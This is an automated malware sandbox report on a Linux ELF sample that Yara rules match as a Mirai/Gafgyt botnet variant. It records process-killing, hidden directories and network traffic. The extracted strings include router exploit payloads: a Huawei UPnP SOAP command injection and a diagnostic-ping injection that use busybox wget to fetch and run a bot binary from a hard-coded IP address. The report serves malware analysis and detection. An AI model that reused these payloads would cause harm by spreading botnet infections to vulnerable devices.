Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf	String found in binary or memory: http://212.227.63.113/bin
Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39362
Source: unknown	Network traffic detected: HTTP traffic on port 4700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 4700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40992
Source: unknown	Network traffic detected: HTTP traffic on port 40992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39362 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, type: SAMPLE	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5539.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5539.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5539.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5545.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5545.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5545.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5532.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5532.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5532.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5543.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5543.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5543.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5528.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5528.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5528.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5533.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5533.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5533.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5528, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5532, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5533, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5539, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5543, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5545, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3192, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3249, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3250, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3251, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3252, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3253, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3255, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3272, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3274, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5533, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5539, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5543, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5545, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5551, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5552, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5553, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5554, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5555, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5556, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5572, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5582, result: successful	Jump to behavior

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://212.227.63.113/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://212.227.63.113/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Sample has stripped symbol table

Source: ELF static info symbol of initial sample

.symtab present: no

Sample tries to kill a process (SIGKILL)

Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3192, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3249, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3250, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3251, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3252, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3253, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3255, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3272, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3274, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5533, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5539, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5543, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5545, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5551, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5552, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5553, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5554, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5555, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5556, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5572, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5582, result: successful	Jump to behavior

Yara signature match

Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5539.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5539.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5539.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5545.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5545.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5545.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5532.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5532.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5532.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5543.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5543.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5543.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5528.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5528.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5528.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5533.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5533.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5533.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5528, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5532, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5533, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5539, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5543, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5545, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/0@28/0

Creates hidden files and/or directories

Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5551)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
